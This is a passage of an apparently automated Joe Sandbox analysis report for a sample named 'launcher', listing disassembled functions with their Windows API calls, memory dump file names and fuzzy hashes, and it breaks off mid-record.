Function 003BF060 Relevance: 2.8, Strings: 2, Instructions: 319COMMON

Download Yara Rule

Strings

R-,T, xrefs: 003BF110
R-,T, xrefs: 003BF220

Memory Dump Source

Source File: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

API ID:
String ID: R-,T$R-,T
API String ID: 0-2000385741
Opcode ID: c5111a3b2477850d41358cece136b8b5136f2813373550219dc5d6b9138d4a15
Instruction ID: b44bf413d29f33c1d0595c8aa39b3ef7b1f4193e8a49e8ef215db0d2e98a675e
Opcode Fuzzy Hash: c5111a3b2477850d41358cece136b8b5136f2813373550219dc5d6b9138d4a15
Instruction Fuzzy Hash: 65A19E79A043128FD715CF18C8907AAB7E1FF88318F199A2CE9999B791D774DC11CB82

Uniqueness

Uniqueness Score: -1.00%

Function 00386430 Relevance: 1.8, Strings: 1, Instructions: 541COMMON

Download Yara Rule

Strings

JC, xrefs: 00386532

Memory Dump Source

Source File: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

API ID:
String ID: JC
API String ID: 0-717332329
Opcode ID: 22de3fb426c7462061e6c0190b7a895718f8008db17d9da9d4c4192529bc5f59
Instruction ID: af115bf7e8e5abb241fcf03d843c89644013e77c9bbeec730494752c58235eb5
Opcode Fuzzy Hash: 22de3fb426c7462061e6c0190b7a895718f8008db17d9da9d4c4192529bc5f59
Instruction Fuzzy Hash: 211204709083958BDB16DE28C4523AB7FD2AB91314F19C9AEE8D98B2C1D379CD44D782

Uniqueness

Uniqueness Score: -1.00%

Function 00373A69 Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,?,?,?,00373A64,?,?,?,?,?,?,00000000), ref: 00373C96

Memory Dump Source

Source File: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: cd683be4c402934f8573677f7973423359fda088b461214cba82646a0885a55e
Instruction ID: 20fa0c7d886a8fc700de49617f1369d8100c73f9fcc73fb0d5ddb062cf18d9bf
Opcode Fuzzy Hash: cd683be4c402934f8573677f7973423359fda088b461214cba82646a0885a55e
Instruction Fuzzy Hash: E0B10C31610609DFD726CF28C486B657BE0FF45364F26C658E89ACF2A1C339EA91DB40

Uniqueness

Uniqueness Score: -1.00%

Function 00364E7C Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00364E92

Memory Dump Source

Source File: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: bc8e7eca50fd40732fc8a64c5c12476e1b5bdccb4b5bf43be18a77a85c31711d
Instruction ID: c22a5c2ec04700bf295b9b76e4ae5297ad7652e35d1c67f0c97390447484aea5
Opcode Fuzzy Hash: bc8e7eca50fd40732fc8a64c5c12476e1b5bdccb4b5bf43be18a77a85c31711d
Instruction Fuzzy Hash: 28519BB1921605CFEB1ACF68E8917AAB7F4FB48310F25853AD405EB254D378DD40CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00377B4D Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 0036F130: GetLastError.KERNEL32(?,00000008,0037369F,00000000,00369230), ref: 0036F134
Part of subcall function 0036F130: SetLastError.KERNEL32(00000000,00000006,000000FF), ref: 0036F1D6

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00377BA1

Memory Dump Source

Source File: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 42b5461c75525db0e7bac0b7aff26679a51f741e39feeb7196eaa7ff4e95d335
Instruction ID: 8098ce2d59beb227568f162329b712ebf92f77aed36dfa1d642e68c3e5fe28f7
Opcode Fuzzy Hash: 42b5461c75525db0e7bac0b7aff26679a51f741e39feeb7196eaa7ff4e95d335
Instruction Fuzzy Hash: 6921957251420AABDF3B9B65DC52A7A77ACEF48314F118079FD0ADA141EB38ED41C790

Uniqueness

Uniqueness Score: -1.00%

Function 003777D4 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0036F130: GetLastError.KERNEL32(?,00000008,0037369F,00000000,00369230), ref: 0036F134
Part of subcall function 0036F130: SetLastError.KERNEL32(00000000,00000006,000000FF), ref: 0036F1D6

EnumSystemLocalesW.KERNEL32(003778FA,00000001,00000000,?,-00000050,?,00377F2B,00000000,?,?,?,00000055,?), ref: 00377846

Memory Dump Source

Source File: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: fc1e51af423b9822124efbda628f5a09cb246fe986bb1c8c94b3bd7e54f4b7dd
Instruction ID: 0fff4cc32f0b3ab265ae1a98ae8d3094ef402aa1078d58940596470ea75b9b08
Opcode Fuzzy Hash: fc1e51af423b9822124efbda628f5a09cb246fe986bb1c8c94b3bd7e54f4b7dd
Instruction Fuzzy Hash: E7112937204305AFDB299F39D8966BAB791FF80368B15843CE94A8B740E375A843C740

Uniqueness

Uniqueness Score: -1.00%

Function 00377D7C Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 0036F130: GetLastError.KERNEL32(?,00000008,0037369F,00000000,00369230), ref: 0036F134
Part of subcall function 0036F130: SetLastError.KERNEL32(00000000,00000006,000000FF), ref: 0036F1D6

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,00377B16,00000000,00000000,?), ref: 00377DA8

Memory Dump Source

Source File: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 80ed01eadba891ef4611a0e0cdc62a1f44a45274ce45d08ee72672c67246b36a
Instruction ID: cddda3ceae3d343b680140ac4117f55b448ae18f51744ca9aca6c379205b20db
Opcode Fuzzy Hash: 80ed01eadba891ef4611a0e0cdc62a1f44a45274ce45d08ee72672c67246b36a
Instruction Fuzzy Hash: C7F0F932514111BFDB365724CC09ABA7798EF40358F158469EC0AA3180EA78FE41C690

Uniqueness

Uniqueness Score: -1.00%

Function 0037786F Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0036F130: GetLastError.KERNEL32(?,00000008,0037369F,00000000,00369230), ref: 0036F134
Part of subcall function 0036F130: SetLastError.KERNEL32(00000000,00000006,000000FF), ref: 0036F1D6

EnumSystemLocalesW.KERNEL32(00377B4D,00000001,00000000,?,-00000050,?,00377EEF,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 003778B9

Memory Dump Source

Source File: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: fbb8b98e1291c2b712eb26a48246767b6dee59c6a61f6d3d403d7b0db28f75dd
Instruction ID: e589a2dd258026516ff4d1348b25288bf108a326a2a51f34294d7cf564c3e6ce
Opcode Fuzzy Hash: fbb8b98e1291c2b712eb26a48246767b6dee59c6a61f6d3d403d7b0db28f75dd
Instruction Fuzzy Hash: 77F04636204304AFCB365F35DC86A7A7BD0EF81368F06847DF9094B680D275AC42C740

Uniqueness

Uniqueness Score: -1.00%

Function 0036F6AF Relevance: 1.5, APIs: 1, Instructions: 33COMMON

Download Yara Rule

APIs

Part of subcall function 0036B4A5: EnterCriticalSection.KERNEL32(?,?,0036EE08,?,00384690,00000008,0036EFCC,?,?,?), ref: 0036B4B4

EnumSystemLocalesW.KERNEL32(Function_0000F6A2,00000001,00384710,0000000C,0036FAD1,?), ref: 0036F6E7

Memory Dump Source

Source File: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 6da482edb7e58585ebf418e95e6b2eaa4925d66986a087c0b27c3cc3803e9383
Instruction ID: eb6e28f2ee854bda59605de9fd23bdbd2853dc6639f115b740a57ba05583789e
Opcode Fuzzy Hash: 6da482edb7e58585ebf418e95e6b2eaa4925d66986a087c0b27c3cc3803e9383
Instruction Fuzzy Hash: 9CF04976A00201EFD702EF99E842B9C77B4FB45720F20812AF515DB2A1DBB59984CF90

Uniqueness

Uniqueness Score: -1.00%

Function 00377789 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0036F130: GetLastError.KERNEL32(?,00000008,0037369F,00000000,00369230), ref: 0036F134
Part of subcall function 0036F130: SetLastError.KERNEL32(00000000,00000006,000000FF), ref: 0036F1D6

EnumSystemLocalesW.KERNEL32(003776E2,00000001,00000000,?,?,00377F4D,-00000050,?,?,?,00000055,?,-00000050,?,?,00000000), ref: 003777C0

Memory Dump Source

Source File: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 5c16a22958a5e54f0fb2ea445702797822e3aa2dce261b58b23fc204277bcbb3
Instruction ID: ce68309d1d3a30b92d3b0ef3fab72fce229f161abdecf16ae280b631b2e2b1f7
Opcode Fuzzy Hash: 5c16a22958a5e54f0fb2ea445702797822e3aa2dce261b58b23fc204277bcbb3
Instruction Fuzzy Hash: 2AF0E53A3002459BCB2A9F39D8556BA7F95FFC2764F07805CEA0D8B650C6759883CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0036FBD5 Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,0036E2ED,?,20001004,00000000,00000002,?,?,0036D8EF), ref: 0036FC09

Memory Dump Source

Source File: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 9e233225008aec1bce887699dae19dd891999272b867436d1e1723c1c202cb99
Instruction ID: eb335f14b640f08e1c3ee72e30a9bf97a02a13c2f897c95df8c5caf8aabd928a
Opcode Fuzzy Hash: 9e233225008aec1bce887699dae19dd891999272b867436d1e1723c1c202cb99
Instruction Fuzzy Hash: E4E01A31500118BFCB232F60EC04AAE7B1AEB44750F14C025FC05662298B328961AAE4

Uniqueness

Uniqueness Score: -1.00%

Function 003652B2 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_000052BE,00364924), ref: 003652B7

Memory Dump Source

Source File: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 12a4064278b6d1ab949133a8f67d94e2baa0c231c5a52be9baa01b1867dfd3d5
Instruction ID: 0f5af44e0655ba69cfac5ade64d9bd87de9e4d5d0ac9e1884ed80b14f61bd5cd
Opcode Fuzzy Hash: 12a4064278b6d1ab949133a8f67d94e2baa0c231c5a52be9baa01b1867dfd3d5
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 003A7F75 Relevance: 1.4, Strings: 1, Instructions: 176COMMON

Download Yara Rule

Strings

&_, xrefs: 003A8151

Memory Dump Source

Source File: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

API ID:
String ID: &_
API String ID: 0-1262877292
Opcode ID: 4a7c93b06f553719dafce607a9aefa72353ef9ed7d00c87be740b53089a8da48
Instruction ID: 445d2e0a4034e3df0d5e2a426400ba1844623b2346ea0aa522c307fd12a916e5
Opcode Fuzzy Hash: 4a7c93b06f553719dafce607a9aefa72353ef9ed7d00c87be740b53089a8da48
Instruction Fuzzy Hash: 02515C746447108FD729CF24C4A1B2277B2FF56308F1A599CD9928F7A1EB76E804CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0039A569 Relevance: 1.4, Strings: 1, Instructions: 154COMMON

Download Yara Rule

Strings

", xrefs: 0039A787

Memory Dump Source

Source File: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 02c143940cfc773c42f56c14ef8919526238c454b436519f0d4e686b82dc9e01
Instruction ID: 6f5c6b6e7520427f3b61d6078142e3809cfee3e5195b5d86c57145e04c3fc66b
Opcode Fuzzy Hash: 02c143940cfc773c42f56c14ef8919526238c454b436519f0d4e686b82dc9e01
Instruction Fuzzy Hash: B0610BB0145B419BE7218F61C8A5BE7BBF1FF02348F54891CD1EA1B280DBB9210ACF81

Uniqueness

Uniqueness Score: -1.00%

Function 003BC655 Relevance: 1.3, Strings: 1, Instructions: 87COMMON

Download Yara Rule

Strings

%^rU, xrefs: 003BC737

Memory Dump Source

Source File: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

API ID:
String ID: %^rU
API String ID: 0-3598859685
Opcode ID: 12842ba2209d6d0d3f7a0a49c62f272f99d787a89d9525065178ce6caa34aa01
Instruction ID: 882d67b60957f3165e8c344270d77261942939e1bfacb467cf1588cea9180bf2
Opcode Fuzzy Hash: 12842ba2209d6d0d3f7a0a49c62f272f99d787a89d9525065178ce6caa34aa01
Instruction Fuzzy Hash: E0218E31D187690BD32A9F309CA2367F7566B46754F1EB32AD5A00B5D5E720DD0846C4

Uniqueness

Uniqueness Score: -1.00%

Function 003A3CB4 Relevance: 1.3, Strings: 1, Instructions: 87COMMON

Download Yara Rule

Strings

Bm@s, xrefs: 003A3D28

Memory Dump Source

Source File: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

API ID:
String ID: Bm@s
API String ID: 0-1763932250
Opcode ID: 694bc30b18c440962a663f0e254f0865c5c61cbc1e3ec6fc945d841277b51daf
Instruction ID: 9ebea3012aa82e887b1862a0af5d306c460cd50c7dff55b2f970f52232de8805
Opcode Fuzzy Hash: 694bc30b18c440962a663f0e254f0865c5c61cbc1e3ec6fc945d841277b51daf
Instruction Fuzzy Hash: D941EDB01193819BE324CF15C891B9BBBF1FB82358F148D1DE4E9AB245C779C9098B96

Uniqueness

Uniqueness Score: -1.00%

Function 003780AD Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 003780AD

Memory Dump Source

Source File: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 561a424e3d50d4468fe2755de0adf24617918e027544f4c626acdc572a3330a8
Instruction ID: 1b42ea17cb1a2cfd16459e21a771d0356bc0485b97a33d9408437da37bc24977
Opcode Fuzzy Hash: 561a424e3d50d4468fe2755de0adf24617918e027544f4c626acdc572a3330a8
Instruction Fuzzy Hash: 66A01130202200CB8B028F30AA082083BECEA0A3C0B0A002AA00AC0030EA2080C0AB00

Uniqueness

Uniqueness Score: -1.00%

Function 0038D6B0 Relevance: .9, Instructions: 857COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e818055d9d503e8f494974c4bfbb365591c4757aa50018c1c1991e9cd1dd6d5c
Instruction ID: 4fcc69cd8fa4560a60797998312f35e3d0fb69d57f67d8de04407c8707373a5f
Opcode Fuzzy Hash: e818055d9d503e8f494974c4bfbb365591c4757aa50018c1c1991e9cd1dd6d5c
Instruction Fuzzy Hash: 915203316187118BC726EF18D8806BAB3E2FFC4314F258A6DD9D6873C5D735A951CB82

Uniqueness

Uniqueness Score: -1.00%

Function 00388AF0 Relevance: .7, Instructions: 732COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmpDownload File
